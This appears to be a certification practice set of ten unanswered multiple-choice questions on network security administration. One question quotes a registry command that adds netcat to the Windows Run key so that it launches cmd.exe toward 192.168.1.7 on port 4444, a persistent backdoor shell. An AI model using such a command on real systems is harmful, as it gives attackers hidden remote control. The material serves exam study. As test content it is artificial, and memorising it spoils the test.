EC Council Network Security Administrator Set 3

Which of the following standards is a proposed enhancement to the 802.11a and 802.11b wireless LAN (WLAN) specifications that offers quality of service (QoS) features, including the prioritization of data, voice, and video transmissions?

Which of the following key features is used by TCP in order to regulate the amount of data sent by a host to another host on the network?

Which of the following is a device that provides local communication between the datalogger and a computer?

Which of the following plans is documented and organized for emergency response, backup operations, and recovery maintained by an activity as part of its security program that will ensure the availability of critical resources and facilitates the continuity of operations in an emergency situation?

Which of the following is a standard-based protocol that provides the highest level of VPN security?

You run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe" What task do you want to perform by running this command?Each correct answer represents a complete solution. Choose all that apply.

Which of the following UTP cables uses four pairs of twisted cable and provides transmission speeds of up to 16 Mbps?

Which of the following protocols is used for inter-domain multicast routing and natively supports source- specific multicast (SSM)?

Which of the following is a software tool used in passive attacks for capturing network traffic?

John works as an Incident manager for TechWorld Inc. His task is to set up a wireless network for his organization. For this, he needs to decide the appropriate devices and policies required to set up the network. Which of the following phases of the incident handling process will help him accomplish the task?